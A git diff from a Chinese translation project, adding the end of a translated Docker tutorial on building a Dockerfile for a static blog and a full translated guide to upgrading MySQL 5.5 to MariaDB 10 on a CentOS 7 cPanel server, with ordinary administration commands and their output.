首先需要找到那个指定镜像。在检查远程仓库之前,Docker 首先检查本地是否存在指定名称的本地镜像。 + +因为系统是崭新的,不存在 nginx 镜像,Docker 将选择从 Docker 仓库下载之。 + +``` +Pulling repository nginx +5c82215b03d1: Download complete +e2a4fb18da48: Download complete +58016a5acc80: Download complete +657abfa43d82: Download complete +dcb2fe003d16: Download complete +c79a417d7c6f: Download complete +abb90243122c: Download complete +d6137c9e2964: Download complete +85e566ddc7ef: Download complete +69f100eb42b5: Download complete +cd720b803060: Download complete +7cc81e9a118a: Download complete +``` + +这就是第二部分输出信息显示给我们的内容。默认情况下,Docker 会使用 [Docker Hub](https://hub.docker.com/) 仓库,该仓库由 Docker 公司维护。 + +和 Github 一样,在 Docker Hub 创建公共仓库是免费的,私人仓库就需要缴纳费用了。当然,部署你自己的 Docker 仓库也是可以的,事实上只需要简单地运行`docker run registry`命令就行了。但在这篇文章中,我们的重点将不是讲解如何部署一个定制的注册服务。 + +### 关闭并移除容器 + +在我们继续构建定制容器之前,我们先清理一下 Docker 环境,我们将关闭先前的容器,并移除它。 + +我们利用`docker`命令和`run`选项运行一个容器,所以,为了停止同一个容器,我们简单地在执行`docker`命令时,使用`kill`选项,并指定容器名。 + +``` +# docker kill desperate_lalande +desperate_lalande +``` + +当我们再次执行`docker ps`,就不再有容器运行了 + +``` +# docker ps +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +``` + +但是,此时,我们这是停止了容器;虽然它不再运行,但仍然存在。默认情况下,`docker ps`只会显示正在运行的容器,如果我们附加`-a` (all) 标识,它会显示所有运行和未运行的容器。 + +``` +# docker ps -a +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +f6d31ab01fc9 5c82215b03d1 nginx -g 'daemon off 4 weeks ago Exited (-1) About a minute ago desperate_lalande +``` + +为了能完整地移除容器,我们在用`docker`命令时,附加`rm`选项。 + +``` +# docker rm desperate_lalande +desperate_lalande +``` + +虽然容器被移除了;但是我们仍拥有可用的**nginx**镜像(LCTT 译注:镜像缓存)。如果我们重新运行`docker run -d nginx`,Docker 就无需再次拉取 nginx 镜像即可启动容器。这是因为我们本地系统中已经保存了一个副本。 + +为了列出系统中所有的本地镜像,我们运行`docker`命令,附加`images`选项。 + +``` +# docker images +REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE +nginx latest 9fab4090484a 5 days ago 132.8 MB +``` + +## 构建我们自己的镜像 + +截至目前,我们已经使用了一些基础的 Docker 命令来启动、停止和移除一个预构建好的普通镜像。为了“Docker 化(Dockerize)”这篇博客,我们需要构建我们自己的镜像,也就是创建一个 **Dockerfile**。 + +在大多数虚拟机环境中,如果你想创建一个机器镜像,首先,你需要建立一个新的虚拟机、安装操作系统、安装应用,最后将其转换为一个模板或者镜像。但在 Docker 中,所有这些步骤都可以通过 Dockerfile 实现全自动。Dockerfile 是向 Docker 提供构建指令去构建定制镜像的方式。在这一章节,我们将编写能用来部署这个博客的定制 Dockerfile。 + +### 理解应用 + +我们开始构建 Dockerfile 之前,第一步要搞明白,我们需要哪些东西来部署这个博客。 + +这个博客本质上是由一个静态站点生成器生成的静态 HTML 页面,这个生成器是我编写的,名为 **hamerkop**。这个生成器很简单,它所做的就是生成该博客站点。所有的代码和源文件都被我放在了一个公共的 [Github 仓库](https://github.com/madflojo/blog)。为了部署这篇博客,我们要先从 Github 仓库把这些内容拉取下来,然后安装 **Python** 和一些 **Python** 模块,最后执行`hamerkop`应用。我们还需要安装 **nginx**,来运行生成后的内容。 + +截止目前,这些还是一个简单的 Dockerfile,但它却给我们展示了相当多的 [Dockerfile 语法]((https://docs.docker.com/v1.8/reference/builder/))。我们需要克隆 Github 仓库,然后使用你最喜欢的编辑器编写 Dockerfile,我选择`vi` + +``` +# git clone https://github.com/madflojo/blog.git +Cloning into 'blog'... +remote: Counting objects: 622, done. +remote: Total 622 (delta 0), reused 0 (delta 0), pack-reused 622 +Receiving objects: 100% (622/622), 14.80 MiB | 1.06 MiB/s, done. +Resolving deltas: 100% (242/242), done. +Checking connectivity... done. +# cd blog/ +# vi Dockerfile +``` + +### FROM - 继承一个 Docker 镜像 + +第一条 Dockerfile 指令是`FROM`指令。这将指定一个现存的镜像作为我们的基础镜像。这也从根本上给我们提供了继承其他 Docker 镜像的途径。在本例中,我们还是从刚刚我们使用的 **nginx** 开始,如果我们想从头开始,我们可以通过指定`ubuntu:latest`来使用 **Ubuntu** Docker 镜像。 + +``` +## Dockerfile that generates an instance of http://bencane.com + +FROM nginx:latest +MAINTAINER Benjamin Cane +``` + +除了`FROM`指令,我还使用了`MAINTAINER`,它用来显示 Dockerfile 的作者。 + +Docker 支持使用`#`作为注释,我将经常使用该语法,来解释 Dockerfile 的部分内容。 + +### 运行一次测试构建 + +因为我们继承了 **nginx** Docker镜像,我们现在的 Dockerfile 也就包括了用来构建 **nginx** 镜像的 [Dockerfile](https://github.com/nginxinc/docker-nginx/blob/08eeb0e3f0a5ee40cbc2bc01f0004c2aa5b78c15/Dockerfile) 中所有指令。这意味着,此时我们可以从该 Dockerfile 中构建出一个 Docker 镜像,然后以该镜像运行一个容器。虽然,最终的镜像和 **nginx** 镜像本质上是一样的,但是我们这次是通过构建 Dockerfile 的形式,然后我们将讲解 Docker 构建镜像的过程。 + +想要从 Dockerfile 构建镜像,我们只需要在运行 `docker` 命令的时候,加上 `build` 选项。 + +``` +# docker build -t blog /root/blog +Sending build context to Docker daemon 23.6 MB +Sending build context to Docker daemon +Step 0 : FROM nginx:latest + ---> 9fab4090484a +Step 1 : MAINTAINER Benjamin Cane + ---> Running in c97f36450343 + ---> 60a44f78d194 +Removing intermediate container c97f36450343 +Successfully built 60a44f78d194 +``` + +上面的例子,我们使用了`-t` (**tag**)标识给镜像添加“blog”的标签。实质上我们就是在给镜像命名,如果我们不指定标签,就只能通过 Docker 分配的 **Image ID** 来访问镜像了。本例中,从 Docker 构建成功的信息可以看出,**Image ID**值为 `60a44f78d194`。 + +除了`-t`标识外,我还指定了目录`/root/blog`。该目录被称作“构建目录”,它将包含 Dockerfile,以及其它需要构建该容器的文件。 + +现在我们构建成功了,下面我们开始定制该镜像。 + +### 使用 RUN 来执行 apt-get + +用来生成 HTML 页面的静态站点生成器是用 **Python** 语言编写的,所以,在 Dockerfile 中需要做的第一件定制任务是安装 Python。我们将使用 Apt 软件包管理器来安装 Python 软件包,这意味着在 Dockerfile 中我们要指定运行`apt-get update`和`apt-get install python-dev`;为了完成这一点,我们可以使用`RUN`指令。 + +``` +## Dockerfile that generates an instance of http://bencane.com + +FROM nginx:latest +MAINTAINER Benjamin Cane + +## Install python and pip +RUN apt-get update +RUN apt-get install -y python-dev python-pip +``` + +如上所示,我们只是简单地告知 Docker 构建镜像的时候,要去执行指定的`apt-get`命令。比较有趣的是,这些命令只会在该容器的上下文中执行。这意味着,即使在容器中安装了`python-dev`和`python-pip`,但主机本身并没有安装这些。说的更简单点,`pip`命令将只在容器中执行,出了容器,`pip`命令不存在。 + +还有一点比较重要的是,Docker 构建过程中不接受用户输入。这说明任何被`RUN`指令执行的命令必须在没有用户输入的时候完成。由于很多应用在安装的过程中需要用户的输入信息,所以这增加了一点难度。不过我们例子中,`RUN`命令执行的命令都不需要用户输入。 + +### 安装 Python 模块 + +**Python** 安装完毕后,我们现在需要安装 Python 模块。如果在 Docker 外做这些事,我们通常使用`pip`命令,然后参考我的博客 Git 仓库中名叫`requirements.txt`的文件。在之前的步骤中,我们已经使用`git`命令成功地将 Github 仓库“克隆”到了`/root/blog`目录;这个目录碰巧也是我们创建`Dockerfile`的目录。这很重要,因为这意味着 Docker 在构建过程中可以访问这个 Git 仓库中的内容。 + +当我们执行构建后,Docker 将构建的上下文环境设置为指定的“构建目录”。这意味着目录中的所有文件都可以在构建过程中被使用,目录之外的文件(构建环境之外)是不能访问的。 + +为了能安装所需的 Python 模块,我们需要将`requirements.txt`从构建目录拷贝到容器中。我们可以在`Dockerfile`中使用`COPY`指令完成这一需求。 + +``` +## Dockerfile that generates an instance of http://bencane.com + +FROM nginx:latest +MAINTAINER Benjamin Cane + +## Install python and pip +RUN apt-get update +RUN apt-get install -y python-dev python-pip + +## Create a directory for required files +RUN mkdir -p /build/ + +## Add requirements file and run pip +COPY requirements.txt /build/ +RUN pip install -r /build/requirements.txt +``` + +在`Dockerfile`中,我们增加了3条指令。第一条指令使用`RUN`在容器中创建了`/build/`目录。该目录用来拷贝生成静态 HTML 页面所需的一切应用文件。第二条指令是`COPY`指令,它将`requirements.txt`从“构建目录”(`/root/blog`)拷贝到容器中的`/build/`目录。第三条使用`RUN`指令来执行`pip`命令;安装`requirements.txt`文件中指定的所有模块。 + +当构建定制镜像时,`COPY`是条重要的指令。如果在 Dockerfile 中不指定拷贝文件,Docker 镜像将不会包含requirements.txt 这个文件。在 Docker 容器中,所有东西都是隔离的,除非在 Dockerfile 中指定执行,否则容器中不会包括所需的依赖。 + +### 重新运行构建 + +现在,我们让 Docker 执行了一些定制任务,现在我们尝试另一次 blog 镜像的构建。 + +``` +# docker build -t blog /root/blog +Sending build context to Docker daemon 19.52 MB +Sending build context to Docker daemon +Step 0 : FROM nginx:latest + ---> 9fab4090484a +Step 1 : MAINTAINER Benjamin Cane + ---> Using cache + ---> 8e0f1899d1eb +Step 2 : RUN apt-get update + ---> Using cache + ---> 78b36ef1a1a2 +Step 3 : RUN apt-get install -y python-dev python-pip + ---> Using cache + ---> ef4f9382658a +Step 4 : RUN mkdir -p /build/ + ---> Running in bde05cf1e8fe + ---> f4b66e09fa61 +Removing intermediate container bde05cf1e8fe +Step 5 : COPY requirements.txt /build/ + ---> cef11c3fb97c +Removing intermediate container 9aa8ff43f4b0 +Step 6 : RUN pip install -r /build/requirements.txt + ---> Running in c50b15ddd8b1 +Downloading/unpacking jinja2 (from -r /build/requirements.txt (line 1)) +Downloading/unpacking PyYaml (from -r /build/requirements.txt (line 2)) + +Successfully installed jinja2 PyYaml mistune markdown MarkupSafe +Cleaning up... + ---> abab55c20962 +Removing intermediate container c50b15ddd8b1 +Successfully built abab55c20962 +``` + +上述输出所示,我们可以看到构建成功了,我们还可以看到另外一个有趣的信息` ---> Using cache`。这条信息告诉我们,Docker 在构建该镜像时使用了它的构建缓存。 + +### Docker 构建缓存 + +当 Docker 构建镜像时,它不仅仅构建一个单独的镜像;事实上,在构建过程中,它会构建许多镜像。从上面的输出信息可以看出,在每一“步”执行后,Docker 都在创建新的镜像。 + +``` + Step 5 : COPY requirements.txt /build/ + ---> cef11c3fb97c +``` + +上面片段的最后一行可以看出,Docker 在告诉我们它在创建一个新镜像,因为它打印了**Image ID** : `cef11c3fb97c`。这种方式有用之处在于,Docker能在随后构建这个 **blog** 镜像时将这些镜像作为缓存使用。这很有用处,因为这样, Docker 就能加速同一个容器中新构建任务的构建流程。从上面的例子中,我们可以看出,Docker 没有重新安装`python-dev`和`python-pip`包,Docker 则使用了缓存镜像。但是由于 Docker 并没有找到执行`mkdir`命令的构建缓存,随后的步骤就被一一执行了。 + +Docker 构建缓存一定程度上是福音,但有时也是噩梦。这是因为决定使用缓存或者重新运行指令的因素很少。比如,如果`requirements.txt`文件发生了修改,Docker 会在构建时检测到该变化,然后 Docker 会重新执行该执行那个点往后的所有指令。这得益于 Docker 能查看`requirements.txt`的文件内容。但是,`apt-get`命令的执行就是另一回事了。如果提供 Python 软件包的 **Apt** 仓库包含了一个更新的 python-pip 包;Docker 不会检测到这个变化,转而去使用构建缓存。这会导致之前旧版本的包将被安装。虽然对`python-pip`来说,这不是主要的问题,但对使用了存在某个致命攻击缺陷的软件包缓存来说,这是个大问题。 + +出于这个原因,抛弃 Docker 缓存,定期地重新构建镜像是有好处的。这时,当我们执行 Docker 构建时,我简单地指定`--no-cache=True`即可。 + +## 部署博客的剩余部分 + +Python 软件包和模块安装后,接下来我们将拷贝需要用到的应用文件,然后运行`hamerkop`应用。我们只需要使用更多的`COPY` 和 `RUN`指令就可完成。 + +``` +## Dockerfile that generates an instance of http://bencane.com + +FROM nginx:latest +MAINTAINER Benjamin Cane + +## Install python and pip +RUN apt-get update +RUN apt-get install -y python-dev python-pip + +## Create a directory for required files +RUN mkdir -p /build/ + +## Add requirements file and run pip +COPY requirements.txt /build/ +RUN pip install -r /build/requirements.txt + +## Add blog code nd required files +COPY static /build/static +COPY templates /build/templates +COPY hamerkop /build/ +COPY config.yml /build/ +COPY articles /build/articles + +## Run Generator +RUN /build/hamerkop -c /build/config.yml +``` + +现在我们已经写出了剩余的构建指令,我们再次运行另一次构建,并确保镜像构建成功。 + +``` +# docker build -t blog /root/blog/ +Sending build context to Docker daemon 19.52 MB +Sending build context to Docker daemon +Step 0 : FROM nginx:latest + ---> 9fab4090484a +Step 1 : MAINTAINER Benjamin Cane + ---> Using cache + ---> 8e0f1899d1eb +Step 2 : RUN apt-get update + ---> Using cache + ---> 78b36ef1a1a2 +Step 3 : RUN apt-get install -y python-dev python-pip + ---> Using cache + ---> ef4f9382658a +Step 4 : RUN mkdir -p /build/ + ---> Using cache + ---> f4b66e09fa61 +Step 5 : COPY requirements.txt /build/ + ---> Using cache + ---> cef11c3fb97c +Step 6 : RUN pip install -r /build/requirements.txt + ---> Using cache + ---> abab55c20962 +Step 7 : COPY static /build/static + ---> 15cb91531038 +Removing intermediate container d478b42b7906 +Step 8 : COPY templates /build/templates + ---> ecded5d1a52e +Removing intermediate container ac2390607e9f +Step 9 : COPY hamerkop /build/ + ---> 59efd1ca1771 +Removing intermediate container b5fbf7e817b7 +Step 10 : COPY config.yml /build/ + ---> bfa3db6c05b7 +Removing intermediate container 1aebef300933 +Step 11 : COPY articles /build/articles + ---> 6b61cc9dde27 +Removing intermediate container be78d0eb1213 +Step 12 : RUN /build/hamerkop -c /build/config.yml + ---> Running in fbc0b5e574c5 +Successfully created file /usr/share/nginx/html//2011/06/25/checking-the-number-of-lwp-threads-in-linux +Successfully created file /usr/share/nginx/html//2011/06/checking-the-number-of-lwp-threads-in-linux + +Successfully created file /usr/share/nginx/html//archive.html +Successfully created file /usr/share/nginx/html//sitemap.xml + ---> 3b25263113e1 +Removing intermediate container fbc0b5e574c5 +Successfully built 3b25263113e1 +``` + +### 运行定制的容器 + +成功的一次构建后,我们现在就可以通过运行`docker`命令和`run`选项来运行我们定制的容器,和之前我们启动 nginx 容器一样。 + +``` +# docker run -d -p 80:80 --name=blog blog +5f6c7a2217dcdc0da8af05225c4d1294e3e6bb28a41ea898a1c63fb821989ba1 +``` + +我们这次又使用了`-d` (**detach**)标识来让Docker在后台运行。但是,我们也可以看到两个新标识。第一个新标识是`--name`,这用来给容器指定一个用户名称。之前的例子,我们没有指定名称,因为 Docker 随机帮我们生成了一个。第二个新标识是`-p`,这个标识允许用户从主机映射一个端口到容器中的一个端口。 + +之前我们使用的基础 **nginx** 镜像分配了80端口给 HTTP 服务。默认情况下,容器内的端口通道并没有绑定到主机系统。为了让外部系统能访问容器内部端口,我们必须使用`-p`标识将主机端口映射到容器内部端口。上面的命令,我们通过`-p 8080:80`语法将主机80端口映射到容器内部的80端口。 + +经过上面的命令,我们的容器看起来成功启动了,我们可以通过执行`docker ps`核实。 + +``` +# docker ps +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +d264c7ef92bd blog:latest nginx -g 'daemon off 3 seconds ago Up 3 seconds 443/tcp, 0.0.0.0:80->80/tcp blog +``` + +## 总结 + +截止目前,我们拥有了一个运行中的定制 Docker 容器。虽然在这篇文章中,我们只接触了一些 Dockerfile 指令用法,但是我们还是要学习所有的指令。我们可以检查 [Docker's reference page](https://docs.docker.com/v1.8/reference/builder/) 来获取所有的 Dockerfile 指令用法,那里对指令的用法说明得很详细。 + +另一个比较好的资源是 [Dockerfile Best Practices page](https://docs.docker.com/engine/articles/dockerfile_best-practices/),它有许多构建定制 Dockerfile 的最佳练习。有些技巧非常有用,比如战略性地组织好 Dockerfile 中的命令。上面的例子中,我们将`articles`目录的`COPY`指令作为 Dockerfile 中最后的`COPY`指令。这是因为`articles`目录会经常变动。所以,将那些经常变化的指令尽可能地放在最后面的位置,来最优化那些可以被缓存的步骤。 + +通过这篇文章,我们涉及了如何运行一个预构建的容器,以及如何构建,然后部署定制容器。虽然关于 Docker 你还有许多需要继续学习的地方,但我想这篇文章给了你如何继续开始的好建议。当然,如果你认为还有一些需要继续补充的内容,在下面评论即可。 + +-------------------------------------- +via: http://bencane.com/2015/12/01/getting-started-with-docker-by-dockerizing-this-blog/ + +作者:Benjamin Cane +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + diff --git a/published/201606/20160214 How to Install MariaDB 10 on CentOS 7 CPanel Server.md b/published/201606/20160214 How to Install MariaDB 10 on CentOS 7 CPanel Server.md new file mode 100644 index 0000000000..7bb0c3d00f --- /dev/null +++ b/published/201606/20160214 How to Install MariaDB 10 on CentOS 7 CPanel Server.md @@ -0,0 +1,330 @@ +在 CentOS 7 CPanel 服务器上安装 MariaDB 10 +================================================================================ + +MariaDB 是一个增强版的、开源的 MySQL 替代品。它主要由 MariaDB 社区在维护,采用 GPL v2 授权许可。软件的安全性是 MariaDB 开发者的主要焦点。他们保持为 MariaDB 的每个版本发布安全补丁。当有任何安全问题被发现时,开发者会尽快修复并推出 MariaDB 的新版本。 + +### MariaDB 的优势 ### + +- 完全开源 +- 快速且透明的安全版本 +- 与 MySQL 高度兼容 +- 性能更好 +- 比 MySQL 的存储引擎多 + +在这篇文章中,我将谈论关于如何在 CentOS7 CPanel 服务器上升级 MySQL5.5 到最新的 MariaDB 。在安装前先完成以下步骤。 + +### 先决条件: ### + +#### 1. 停止当前 MySQL 服务 #### + + root@server1 [/var/# mysql + Welcome to the MySQL monitor. Commands end with ; or \g. + Your MySQL connection id is 5859 + Server version: 5.5.47-cll MySQL Community Server (GPL) + + Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved. + + Oracle is a registered trademark of Oracle Corporation and/or its + affiliates. Other names may be trademarks of their respective + owners. + + Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + + root@server1 [~]# systemctl stop mysql + root@server1 [~]# systemctl status mysql + ● mysql.service - LSB: start and stop MySQL + Loaded: loaded (/etc/rc.d/init.d/mysql) + Active: failed (Result: exit-code) since Sun 2016-01-31 10:00:02 UTC; 1min 31s ago + Docs: man:systemd-sysv-generator(8) + Main PID: 23430 (code=exited, status=203/EXEC) + + Jan 31 10:00:02 server1.centos7-test.com systemd[1]: Started MySQL Server. + Jan 31 10:00:02 server1.centos7-test.com systemd[1]: Starting MySQL Server... + Jan 31 10:00:02 server1.centos7-test.com systemd[1]: mysql.service: main process exited, code=exited, status=203/EXEC + Jan 31 10:00:02 server1.centos7-test.com systemd[1]: Unit mysql.service entered failed state. + Jan 31 10:00:02 server1.centos7-test.com systemd[1]: mysql.service failed. + +#### 2. 在升级之前将所有配置文件和数据库转移 #### + +转移数据库的存储路径和 MySQL 的配置文件 + + root@server1 [~]# cp -Rf /var/lib/mysql /var/lib/mysql-old + + root@server1 [/var/lib/mysql]# cat /etc/my.cnf + [mysqld] + default-storage-engine=MyISAM + innodb_file_per_table=1 + max_allowed_packet=268435456 + open_files_limit=10000 + + root@server1 [~]#mv /etc/my.cnf /etc/my.cnf-old + +#### 3. 从服务器上删除和卸载 MySQL 所有的 RPM 包 #### + +运行以下命令来禁用 MySQL RPM 的目标(target)。通过运行此命令,cPanel 将不再处理 MySQL 的更新,并在系统上将这些 RPM 版本标记为已卸载。 + + /scripts/update_local_rpm_versions --edit target_settings.MySQL50 uninstalled + /scripts/update_local_rpm_versions --edit target_settings.MySQL51 uninstalled + /scripts/update_local_rpm_versions --edit target_settings.MySQL55 uninstalled + /scripts/update_local_rpm_versions --edit target_settings.MySQL56 uninstalled + +现在运行以下命令: + +/scripts/check_cpanel_rpms --fix --targets=MySQL50,MySQL51,MySQL55,MySQL56 + +移除服务器上所有已有的 MySQL RPM 来为 MariaDB 的安装清理环境。请看下面的输出: + + root@server1 [/var/lib/mysql]# /scripts/check_cpanel_rpms --fix --targets=MySQL50,MySQL51,MySQL55,MySQL56 + [2016-01-31 09:53:59 +0000] + [2016-01-31 09:53:59 +0000] Problems were detected with cPanel-provided files which are RPM controlled. + [2016-01-31 09:53:59 +0000] If you did not make these changes intentionally, you can correct them by running: + [2016-01-31 09:53:59 +0000] + [2016-01-31 09:53:59 +0000] > /usr/local/cpanel/scripts/check_cpanel_rpms --fix + [2016-01-31 09:53:59 +0000] + [2016-01-31 09:53:59 +0000] The following RPMs are unneeded on your system and should be uninstalled: + [2016-01-31 09:53:59 +0000] MySQL55-client-5.5.47-1.cp1148 + [2016-01-31 09:53:59 +0000] MySQL55-devel-5.5.47-1.cp1148 + [2016-01-31 09:53:59 +0000] MySQL55-server-5.5.47-1.cp1148 + [2016-01-31 09:53:59 +0000] MySQL55-shared-5.5.47-1.cp1148 + [2016-01-31 09:53:59 +0000] MySQL55-test-5.5.47-1.cp1148 + [2016-01-31 09:53:59 +0000] compat-MySQL50-shared-5.0.96-4.cp1136 + [2016-01-31 09:53:59 +0000] compat-MySQL51-shared-5.1.73-1.cp1150 + [2016-01-31 09:53:59 +0000] Removing 0 broken rpms: + [2016-01-31 09:53:59 +0000] rpm: no packages given for erase + [2016-01-31 09:53:59 +0000] No new RPMS needed for install + [2016-01-31 09:53:59 +0000] Disabling service monitoring. + [2016-01-31 09:54:01 +0000] Uninstalling unneeded rpms: MySQL55-test MySQL55-server MySQL55-client compat-MySQL51-shared compat-MySQL50-shared MySQL55-shared MySQL55-devel + [2016-01-31 09:54:04 +0000] Removed symlink /etc/systemd/system/multi-user.target.wants/mysql.service. + [2016-01-31 09:54:04 +0000] Restoring service monitoring. + +通过这些步骤,我们已经卸载了现有的 MySQL RPM,并做了标记来防止 MySQL的更新,服务器的环境已经清理,然后准备安装 MariaDB。 + +开始安装吧,我们需要根据 CentOS 和 MariaDB 的版本为 MariaDB 创建一个 yum 软件库。下面是我的做法! + +### 安装步骤: ### + +#### 第1步:创建 YUM 软件库。#### + + root@server1 [~]# vim /etc/yum.repos.d/MariaDB.repo + [mariadb] + name = MariaDB + baseurl = http://yum.mariadb.org/10.0/centos7-amd64/ + gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB + gpgcheck=1 + root@server1 [/etc/yum.repos.d]# cat /etc/yum.repos.d/MariaDB.repo + [mariadb] + name = MariaDB + baseurl = http://yum.mariadb.org/10.0/centos7-amd64/ + gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB + gpgcheck=1 + +#### 第2步:打开 /etc/yum.conf 并修改如下行: #### + +**删除这一行:** + + exclude=courier* dovecot* exim* filesystem httpd* mod_ssl* mydns* mysql* nsd* php* proftpd* pure-ftpd* spamassassin* squirrelmail* + +**替换为:** + + exclude=courier* dovecot* exim* filesystem httpd* mod_ssl* mydns* nsd* proftpd* pure-ftpd* spamassassin* squirrelmail* + +**重要** + +需要确保我们已经从 exclude 列表中移除了 MySQL 和 PHP。 + +#### 第3步:运行以下命令来安装 MariaDB 和相关的包。 #### + + root@server1 [~]#yum install MariaDB-server MariaDB-client MariaDB-devel php-mysql + + Dependencies Resolved + + =============================================================================================================================================== + Package Arch Version Repository Size + =============================================================================================================================================== + Installing: + MariaDB-client x86_64 10.0.23-1.el7.centos mariadb 10 M + MariaDB-devel x86_64 10.0.23-1.el7.centos mariadb 6.3 M + MariaDB-server x86_64 10.0.23-1.el7.centos mariadb 55 M + php-mysql x86_64 5.4.16-36.el7_1 base 99 k + Installing for dependencies: + MariaDB-common x86_64 10.0.23-1.el7.centos mariadb 43 k + MariaDB-shared x86_64 10.0.23-1.el7.centos mariadb 1.2 M + libzip x86_64 0.10.1-8.el7 base 48 k + php-common x86_64 5.4.16-36.el7_1 base 563 k + php-pdo x86_64 5.4.16-36.el7_1 base 97 k + + Transaction Summary + =============================================================================================================================================== + Install 4 Packages (+5 Dependent package) + +#### 第4步:重新启动,并确保 MySQL 服务已启动。#### + + root@server1 [~]# systemctl start mysql + root@server1 [~]# + root@server1 [~]# + root@server1 [~]# systemctl status mysql + ● mysql.service - LSB: start and stop MySQL + Loaded: loaded (/etc/rc.d/init.d/mysql) + Active: active (exited) since Sun 2016-01-31 10:01:46 UTC; 3s ago + Docs: man:systemd-sysv-generator(8) + Process: 23717 ExecStart=/etc/rc.d/init.d/mysql start (code=exited, status=0/SUCCESS) + Main PID: 23430 (code=exited, status=203/EXEC) + + Jan 31 10:01:46 server1.centos7-test.com systemd[1]: Starting LSB: start and stop MySQL... + Jan 31 10:01:46 server1.centos7-test.com mysql[23717]: Starting MySQL SUCCESS! + Jan 31 10:01:46 server1.centos7-test.com systemd[1]: Started LSB: start and stop MySQL. + +#### 第5步:运行 mysql_upgrade 命令。 #### + +它将检查所有数据库中的所有表与当前安装的版本是否兼容,并在必要时会更新系统表,以赋予当前版本新增加的权限或能力。 + + + root@server1 [~]# mysql_upgrade + MySQL upgrade detected + Phase 1/6: Checking and upgrading mysql database + Processing databases + mysql + mysql.columns_priv OK + mysql.db OK + mysql.event OK + mysql.func OK + mysql.help_category OK + mysql.help_keyword OK + mysql.help_relation OK + mysql.help_topic OK + mysql.host OK + mysql.ndb_binlog_index OK + mysql.plugin OK + mysql.proc OK + mysql.procs_priv OK + mysql.proxies_priv OK + mysql.servers OK + mysql.tables_priv OK + mysql.time_zone OK + mysql.time_zone_leap_second OK + mysql.time_zone_name OK + mysql.time_zone_transition OK + mysql.time_zone_transition_type OK + mysql.user OK + Phase 2/6: Fixing views from mysql + Phase 3/6: Running 'mysql_fix_privilege_tables' + Phase 4/6: Fixing table and database names + Phase 5/6: Checking and upgrading tables + Processing databases + cphulkd + cphulkd.auths OK + cphulkd.blacklist OK + cphulkd.brutes OK + cphulkd.good_logins OK + cphulkd.ip_lists OK + cphulkd.known_netblocks OK + cphulkd.login_track OK + cphulkd.logins OK + cphulkd.report OK + cphulkd.whitelist OK + eximstats + eximstats.defers OK + eximstats.failures OK + eximstats.sends OK + eximstats.smtp OK + information_schema + leechprotect + leechprotect.hits OK + modsec + modsec.hits OK + performance_schema + roundcube + roundcube.cache OK + roundcube.cache_index OK + roundcube.cache_messages OK + roundcube.cache_shared OK + roundcube.cache_thread OK + roundcube.contactgroupmembers OK + roundcube.contactgroups OK + roundcube.contacts OK + roundcube.cp_schema_version OK + roundcube.dictionary OK + roundcube.identities OK + roundcube.searches OK + roundcube.session OK + roundcube.system OK + roundcube.users OK + saheetha_test + saheetha_test.authors OK + whmxfer + whmxfer.sessions OK + Phase 6/6: Running 'FLUSH PRIVILEGES' + OK + +#### 第6步:再次重新启动 MySQL 的服务,以确保一切都运行完好。 #### + + root@server1 [~]# systemctl restart mysql + root@server1 [~]# + root@server1 [~]# systemctl status mysql + ● mysql.service - LSB: start and stop MySQL + Loaded: loaded (/etc/rc.d/init.d/mysql) + Active: active (running) since Sun 2016-01-31 10:04:11 UTC; 9s ago + Docs: man:systemd-sysv-generator(8) + Process: 23831 ExecStop=/etc/rc.d/init.d/mysql stop (code=exited, status=0/SUCCESS) + Process: 23854 ExecStart=/etc/rc.d/init.d/mysql start (code=exited, status=0/SUCCESS) + Main PID: 23430 (code=exited, status=203/EXEC) + CGroup: /system.slice/mysql.service + ├─23861 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --pid-file=/var/lib/mysql/server1.centos7-test.com.pid + └─23933 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/v... + + Jan 31 10:04:10 server1.centos7-test.com systemd[1]: Starting LSB: start and stop MySQL... + Jan 31 10:04:11 server1.centos7-test.com mysql[23854]: Starting MySQL. SUCCESS! + Jan 31 10:04:11 server1.centos7-test.com systemd[1]: Started LSB: start and stop MySQL. + +#### 第7步:运行 EasyApache,重建 Apache/PHP 以支持 MariaDB,并确保所有 PHP 的模块保持不变。#### + + root@server1 [~]#/scripts/easyapache --build + +**重要** + +如果你在安装 MariaDB 之后忘记重建 Apache/PHP,将会报如下库错误: + + root@server1 [/etc/my.cnf.d]# php -v + php: error while loading shared libraries: libmysqlclient.so.18: cannot open shared object file: No such file or directory + +#### 第8步:现在验证安装的程序和数据库。 #### + + root@server1 [/var/lib/mysql]# mysql + Welcome to the MariaDB monitor. Commands end with ; or \g. + Your MariaDB connection id is 15 + Server version: 10.0.23-MariaDB MariaDB Server + + Copyright (c) 2000, 2015, Oracle, MariaDB Corporation Ab and others. + + Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + + MariaDB [(none)]> show storage engines; + +--------------------+---------+----------------------------------------------------------------------------+--------------+------+------------+ + | Engine | Support | Comment | Transactions | XA | Savepoints | + +--------------------+---------+----------------------------------------------------------------------------+--------------+------+------------+ + | CSV | YES | CSV storage engine | NO | NO | NO | + | MRG_MyISAM | YES | Collection of identical MyISAM tables | NO | NO | NO | + | MEMORY | YES | Hash based, stored in memory, useful for temporary tables | NO | NO | NO | + | BLACKHOLE | YES | /dev/null storage engine (anything you write to it disappears) | NO | NO | NO | + | MyISAM | YES | MyISAM storage engine | NO | NO | NO | + | InnoDB | DEFAULT | Percona-XtraDB, Supports transactions, row-level locking, and foreign keys | YES | YES | YES | + | ARCHIVE | YES | Archive storage engine | NO | NO | NO | + | FEDERATED | YES | FederatedX pluggable storage engine | YES | NO | YES | + | PERFORMANCE_SCHEMA | YES | Performance Schema | NO | NO | NO | + | Aria | YES | Crash-safe tables with MyISAM heritage | NO | NO | NO | + +--------------------+---------+----------------------------------------------------------------------------+--------------+------+------------+ + 10 rows in set (0.00 sec) + 